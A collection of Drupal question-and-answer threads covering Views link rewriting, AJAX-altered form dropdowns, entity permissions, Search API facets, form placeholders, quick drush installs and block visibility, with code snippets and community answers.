I have a view in sidebar showing a taxonomy `Category`. There is a view on `/search-page` that displays search using Search API view and exposed filters. I want the sidebar Categories to link to the search page with filtered category (`/search-page?filter_category[]=13`)

What would be a proper way of doing this?

I tried to do rewrite on the `Name` field in sidebar view.

* "Rewrite the output of this field"
* rewrite Text to `[name]`
* checked the "Output this field as a link"
* set Link Path to `search-page?field_[machine_name]%5B%5D=[tid]`
* the links in sidebar get double escaped (it's a bug https://www.drupal.org/node/1342124)

In addition to the bug, I don't particularly like this way, because the path is hardcoded.

**Is there a way to kind of link to the search view with some params instead so that Drupal handles the URL internally?**

# Answer
> 1 votes
Actually it seems like the double escaping did work OK after all. A rewrote the URL to `search-page?field_[machine_name][]=[tid]` and it worked :)

---
Tags: views, navigation, uri
---


# Question
Title: ajax modified form drop down doesn't save
I have used form\_alter to add a ajax callback to an element to my form. When the user chooses an option, it creates dropdown options for the other field. However, while this works fine for changing the form, it doesn't actually save the value in the field when you click save. I checked the database and its not saved, value is 0. Not exactly sure what is happening.

Here is my code:

```
/**
 *  Implements hook_form_alter().
 */
function chapter_sponsor_levels_form_alter(&$form, &$form_state, $form_id) {
  if ($form_id === 'sponsor_node_form') {
    //we need to add an ajax call to the OG Group field on the Sponsor node page, so that it populates the sponsor level dropdown
    $form['og_group_ref']['und'][0]['default']['#ajax'] = array(
      'callback' => 'chapter_sponsor_levels_update_levels',
      'wrapper' => 'edit-field-sponsor-level',
      'method' => 'replace',
    );
    if(!empty($form['og_group_ref']['und'][0]['default']['#default_value']) && empty($form_state['values'])) { //if we are viewing the form not from an ajax request
      dpm($form);
      dpm($form_state);
      $gid = $form['og_group_ref']['und'][0]['default']['#default_value'];
      chapter_sponsors_levels_set_levels($gid, $form);
      dpm($form_state);
    }
    elseif (!empty($form_state['values']['og_group_ref']['und'])) { //if we have chosen a group
      //$gid = 8; //new york
      $gid = $form_state['values']['og_group_ref']['und'][0]['target_id'];
      chapter_sponsors_levels_set_levels($gid, $form);
    }
    $form['#submit'][] = 'chapter_sponsor_levels_save_level';
  }
}

```

```
function chapter_sponsors_levels_set_levels($gid, &$form) {
  $query = 'Select * from {og_vocab_relation} where gid = :gid';
  $results = db_query($query, array(':gid' => $gid));
  foreach ($results as $result) {
    $vid = $result->vid;
  }
  $chapter_vocab = taxonomy_vocabulary_load($vid); //get the vocabulary associated with the group
  if(!empty($chapter_vocab)) {
    $terms = entity_load('taxonomy_term', FALSE, array('vid' => $chapter_vocab->vid));
    $form['field_sponsor_level']['und']['#options'] = array('_none' => '- None -');
    foreach($terms as $term) {
      $term_names[$term->weight] = $term->name;
    }
    ksort($term_names); //sort the terms by their weight and set them as the dropdown values
    foreach($term_names as $name) {
      $form['field_sponsor_level']['und']['#options'][] = $name;
    }
    $form['field_sponsor_level']['und']['#title'] = $chapter_vocab->name;
  }
}

```

EDIT: Forgot to add this in to the post

```
function chapter_sponsor_levels_save_level(&$form, &$form_state) {
  dpm($form_state);
}
/*
 * AJAX callback when click on OG Group field on Sponsor page
 */
function chapter_sponsor_levels_update_levels($form, $form_state) {
  return $form['field_sponsor_level']; //update the sponsor_level field with the new dropdown values
}

```

EDIT: I may be getting closer, but not yet there. I realized that if its not saving the value, its proabably because it doesn't match a list of allowed values. While I didn't see such a constraint in the database, I found a 'allowed values' list in the $form\_state array. I modified my code above:

```

foreach($term_names as $name) {
      $form['field_sponsor_level']['und']['#options'][$name] = $name;
      $form_state['field']['field_sponsor_level']['und']['field']['settings']['allowed_values'][$name] = $name;
    }

```

However, now when I try to save the form when choosing a value, it says that it is an illegal value. I found that it was throwing the error from line 397 in the list module - for some reason, its not passing the 'allowed values' test.

# Answer
> 0 votes
Ok, I finally got it right, here's the code of the function which does the work:

```

function chapter_sponsors_levels_set_levels($gid, &$form, &$form_state) {
  $query = 'Select * from {og_vocab_relation} where gid = :gid';
  $results = db_query($query, array(':gid' => $gid));
  foreach ($results as $result) {
    $vid = $result->vid;
  }
  $chapter_vocab = taxonomy_vocabulary_load($vid); //get the vocabulary associated with the group
  if(!empty($chapter_vocab)) {
    $terms = entity_load('taxonomy_term', FALSE, array('vid' => $chapter_vocab->vid));
    $form['field_sponsor_level']['und']['#options'] = array('_none' => '- None -');
    foreach($terms as $term) {
      $term_names[$term->weight] = $term->name;
    }
    ksort($term_names); //sort the terms by their weight and set them as the dropdown values
    foreach($term_names as $name) {
      $form['field_sponsor_level']['und']['#options'][] = $name;
      $form_state['field']['field_sponsor_level']['und']['field']['settings']['allowed_values'][$name] = $name;
    }
    $form['field_sponsor_level']['und']['#default_value'] = $form_state['build_info']['args'][0]->field_sponsor_level['und'][0]['value'];
    $form['field_sponsor_level']['und']['#title'] = $chapter_vocab->name;
  }
}

```

---
Tags: ajax, forms
---


title: In place editor for blocks

text:
# Question
Title: In place editor for blocks
I'm trying to make certain blocks editable for users with a certain role. I'm looking for a module which would provide an in-place editor for blocks. There's a module for this called Block Edit but there isnt a drupal 7 release. Is there any other module similar to this? Thank you.

# Answer
There is the Boxes module. Which supports in-place editing.

> Boxes module is a reimplementation of the custom blocks (boxes) that the core block module provides. It is a proof of concept for what a re-worked block module could do.
>
> The module assumes that custom blocks are configuration, and not content. This means that it is a reasonable action to ask for all blocks at one time, this is in fact exactly what the core block module does.
>
> Boxes provides an inline interface for editing blocks, allowing you to change the contents of blocks without going to an admin page.
>
> Boxes provides exportables for its blocks via the (required) Chaos tools module. This allows modules to provide blocks in code that can be overwritten in the UI.
>
> Chaos tools is required to use Boxes.

Be sure to look at the module page for full information.
> 1 votes

---
Tags: 7, blocks
---


# Question
Title: How to grant permission to specifc role to perform CRUD operations on a particular content type only?
I've set up different roles and in my site and I want a specifc role to grant permission to perform CRUD(create, Read, Update, Delete) operations on a particular content type only. But I can't find any such option in drupal admin.

Any suggestions?

# Answer
> 0 votes
Use Rule module. And create action assign role.

How to use.

# Answer
> 0 votes
A module specifically designed for this and very easy to use is the Content Access Module. When you use this, you will see that there are new per-content type permissions in the permissions configuration page.

---
Tags: nodes, users
---


# Question
Title: Is there any way to make Commerce Customer Profile save/store data in a predictable manner?
Heres the thing. We have a customer profile of type 'Delivery' which contains a delivery address for an order. It also has other non-addressfield data like driver route, delivery day (M-F, day of week), default product (recurring order kit), and delivery frequency (how often to receive new orders).

The customer can, at any time, change their delivery frequency, default product, and delivery address. Here is the issue... any slight change and/or order reference and the profile is cloned. I get that Drupal Commerce does this to preserve historical order data integrity, however, the new profile ID needs to be assigned to all non-completed orders. We can't store this as a Profile2 object, because changing address or product affects their available delivery day and driver route, which has to go along with the order.

Orders are generated by the system based on this profile data... so it is important to maintain order reference and the 'newest' profile of record that is the basis for new orders and any editing. Profile data cannot be edited at the order level itself.

I am having a lot of difficulty wrapping my head around how to wrangle profiles to either prevent dozens of clones or making it make sense to administrators (Views reports will show tons of user profiles).

What is the most sensible way to manage this? Currently I have set up a Rule that when a customer profile is created or updated, the profile ID is proliferated through orders... but not sure this is the best approach.

# Answer
> 0 votes
I'm not really sure what the best solution is. I'm also not particularly fond of the code I wrote to prevent customer profile changes from harming the data integrity of historical orders. Those two caveats aside, maybe the following options can help:

1. You could patch commerce\_order.module to add specific exemptions for your fields in the function commerce\_order\_commerce\_customer\_profile\_presave(). You'd basically add a whitelist to the top of the foreach() loop there over field instances and if you see one that shouldn't be taken into consideration for profile copying, use a continue statement. Note that this approach means any changes to these fields would "appear" on previous orders that were placed with alternate values for these fields - if that doesn't matter to you, then this should be safe and fine.
2. You could look into Commerce Single Address. I'm not sure it's what you want, but it may offer some insight. You may need to add code to it to handle updating those previous references that were giving you an issue.

Ultimately we need to get a reasonable API around this so there are hooks and alternate options for the copy behavior. If you decide to patch commerce\_order.module, make sure you maintain that patch in your codebase and have a process in place to re-apply it whenever you update Drupal Commerce.

---
Tags: commerce, users
---


title: How to let user create entity objects

text:
# Question
Title: How to let user create entity objects
I am in learning phase of Drupal and ofcourse the Entity API. I have created new entity named Projects. Goal is to make a project management system for software services providers. I am actually trying to figuring out the mechanism for workflow. I have a entity now. How would i let the user with role Manager add a new project and a user with role Developer can add updates to it like status, files attachment etc.

I need a basic overview so that i can use Drupal to build application rather than a content based website.

Thanks alot

# Answer
First off, we should define CRUD permissions for your entities in a correct manner. We will have to implement hook\_permssion to define each of our crud permissions similar to the following:

```
function myentitymodule_permission() {
  return array(
    'view my entity' => array(
      'title' => t('View my custom entity'),
    ),
    'create my entity' => array(
      'title' => t('Create my custom entity'),
    ),
    'edit my entity' => array(
      'title' => t('Edit my custom entity'),
    ),
    'delete my entity' => array(
      'title' => t('Delete my custom entity'),
    ),
  );
}

```

The implementation of these newly created permissions should reside in your hook\_menu implementation that is responsible for creating the CRUD pages you need.

```
function myentitymodule_menu() {
  $items = array();
  $items['my-entity/add'] = array(
    'title' => 'Add my new custom entity',
    'page callback' => 'myentitymodule_add_page',
    'access arguments' => array('create my entity'),
  );
  $items['my-entity/%entityid'] = array(
    'title callback' => 'myentitymodule_page_title',
    'title arguments' => array(1),
    'page callback' => 'myentitymodule_page_view',
    'page arguments' => array(1),
    'access arguments' => array('view my entity'),
  );
  $items['my-entity/%entityid/view'] = array(
    'title' => 'View',
    'type' => MENU_DEFAULT_LOCAL_TASK,
    'weight' => -10,
  );
  $items['my-entity/%entityid/edit'] = array(
    'title' => 'Edit',
    'page callback' => 'myentitymodule_page_edit',
    'page arguments' => array(1),
    'access arguments' => array('edit my entity'),
    'weight' => 0,
    'type' => MENU_LOCAL_TASK,
    'context' => MENU_CONTEXT_PAGE | MENU_CONTEXT_INLINE,
  );
  $items['my-entity/%entityid/delete'] = array(
    'title' => 'Delete',
    'page callback' => 'drupal_get_form',
    'page arguments' => array('myentitymodule_delete_confirm'),
    'access arguments' => array('delete my entity'),
    'weight' => 1,
    'type' => MENU_LOCAL_TASK,
    'context' => MENU_CONTEXT_INLINE,
  );

  return $items;
}

```

Notice the "access arguments" key of each new page defined in the above function need the array keys of your hook\_permission implementation. Please note that you will have to create appropriate page callbacks that (should) reside in inc files in order to do things like render the entity view page and render the creation, edit and deletion pages. These callbacks should (at least) take the ID of the entity as an argument.

If we were to compare your custom entity to that of the node entity, the ID that is used for nodes is the nid. That's why pages like node/321/edit exist and use "321" as that ID argument. I think you want to accomplish more or less the same thing.
> 0 votes

---
Tags: entities
---


# Question
Title: Custom search results usign Search API + views
I am currently using Search API for indexing my content . I use Views for displaying search results and Views exposed filter for search form. In the search results page I use facets to filter based on content type, created date etc. I need to upgrade the search feature and provide the following features. Please let me know the Modules or APIs that can help me achieve this.

1) Split the search results based on content type.
Ex: If there are any nodes of content type A, content type B in the search results, I need to display the top 2 nodes of the content type A , top 3 nodes of content type B and the rest of the results.
Formatting of the result display is based on the content type.

2)In the facets I would like to display custom group names instead of the actual content types.
Ex: If there are multiple content types like 'Books', 'Articles', 'Magazines' etc I would like to display the link in Facets as a single entry 'Publications' and in the view filter based on the actual content types.

Is it possible to achieve the above 2 features using search API? I am open to changing the approach for displaying search results(alternative for Views and exposed filter if required).

Please suggest

# Answer
> 1 votes
1) Although I can't give you the exact answer, what you're looking for is probably View Attachments (https://www.youtube.com/watch?v=s9GC-trMH0o). That allows you to display part of the view in a different way.

2) No idea.

# Answer
> 0 votes
For 2) it seems like you can use the module Search API combined fields

---
Tags: 7, search
---


# Question
Title: How to add placeholder to all Drupal 7 text forms in node page?
I'm trying to add the placeholders from field description to all Drupal 7 text forms only in node page using Drupal API

I've created a module that overrides hook\_form\_alter

```
  <?php
function MYMODULE_form_alter(&$form, &$form_state, $form_id) {
    if (isset($form['#node_edit_form']) && $form['#node_edit_form'] == TRUE) {
        foreach ($form as $key => $value) {
            if ($value == "textfield") {
            $form['type'][$value]['#attributes']['placeholder'] = $form['#description'];
            unset($form['#description']);
            }
        }
    }
}

```

?\>

How to do it using Drupal Api without using JavaScript?

# Answer
> 2 votes
I take it by wanting a Placeholder that the text is going to be removed by javaScript when the use enters text ?

If so, there are a couple of modules for that, for example : https://www.drupal.org/project/field\_placeholder

This will give you an extra setting in the field setting form so you wont have to use your description, allowing it to be used for the description.

# Answer
> 1 votes
For title Description use Title field UI Module.

You can try

```
function my_module_form_alter(&$form, &$form_state, $form_id) {
        if ($form_id == 'article_node_form') { // as your condition
            drupal_add_js(
              "(function ($) {
                Drupal.behaviors.myModule = {
                    attach: function (context, settings) {
                        $('input[type=text]').each(function(index){
                            desc = $(this).parent().find('.description').html();
                            $(this).attr( 'placeholder', desc );  $(this).parent().find('.description').css('display','none');// hide description
                        });
                    }
                };
            })(jQuery);", array(
              'type' => 'inline',
              'scope' => 'header',
              'weight' => 5,
              )
            );
        }
    }

```

# Answer
> 0 votes
Have you considered editing the content type and providing a default value for the field with your placeholder text.

If you need to make the default text disappear when the user clicks on the field, you can use jQuery to detect focus on the field and remove the text. If the user doesn't add new text, it can be returned when focus is off the field, otherwise the new text stays.

# Answer
> 0 votes
This is untested but should be near the mark:

```
function MYMODULE_form_alter(&$form, &$form_state, $form_id) {
  if (isset($form['#node_edit_form']) && $form['#node_edit_form'] == TRUE) {
    _MYMODULE_apply_placeholder($form);
  }
}

function _MYMODULE_apply_placeholder(&$element) {
  if (!empty($element['#description']) && $element['#type'] == 'textfield') {
    $element['#attributes']['placeholder'] = $element['#description'];
    unset($element['#description']);
  }

  foreach (element_children($element) as $key) {
    _MYMODULE_apply_placeholder($element[$key]);
  }
}

```

---
Tags: forms
---


# Question
Title: What is the easiest way to install clean Drupal from scratch using drush?
What is the easiest/quickest way to install clean Drupal from scratch on empty folder for testing purposes by using drush (without resorting to shell scripts or aliases).

# Answer
> 17 votes
```
drush qd

```

Downloads Drupal, runs site install, launches a lightweight webserver, opens a browser and logs you in as 'admin'.

I might have answered `drush quick-drupal`, but Clive said there might be a contest. :)

# Answer
> 4 votes
You may try the following few-line example:

```
$ drush -y dl && cd drupal-7* # Download Drupal and enter folder.
$ drush -y si --db-url="sqlite://db.sqlite" --account-pass=admin # Install.
$ drush rs # Run HTTP server.

```

Your site should be accessible under `http://127.0.0.1:8888`.

Related: Provide a one command to install and run Drupal command.

# Answer
> 1 votes
Starting on a new, clean VM is another option with Vagrant. Once you have Vagrant / VirtualBox running, installing Drupal 6 to 7 is a breeze https://www.drupal.org/node/2008792

Update : With the fast development of Drupal 8, VDD mentioned above still works fine with Drupal 7 but does not support Drupal 8 anymore. If you want to quickstart a Drupal 8 website, prefer DrupalVM, it is much more maintained, is easy to configure (via Yaml settings) and covers the latest version of Drush (8) + have support for Apache or Nginx, Varnish, Solr, XDebug, XHProf, ...

---
Tags: drush
---


title: Region on specific page

text:
# Question
Title: Region on specific page
Is it possible to set a region on a specific page? I've created a page and I only want it to display it there and not elsewhere.

# Answer
> 1 votes
Create View Block.

Go to **Home » Administration » Structure » View**

**Add New View.**

**Create a Block** with View (**Not** Create a Page)

Then, Select that block on the specific page.

If you have created that page with Panels or Node Template (By Adding New Variant) You can set View Rule.

* Add Visibility Rule in View Block

Select **String: URL Path** as an Option

Then, set path to your page where you wanted to display your block.

I hope this will help you..

# Answer
> 0 votes
You can use blocks and specify a specific page for it to display content.

# Answer
> -1 votes
You can restrict the display of the blocks to pages, content types, roles, languages.

---
Tags: theming
---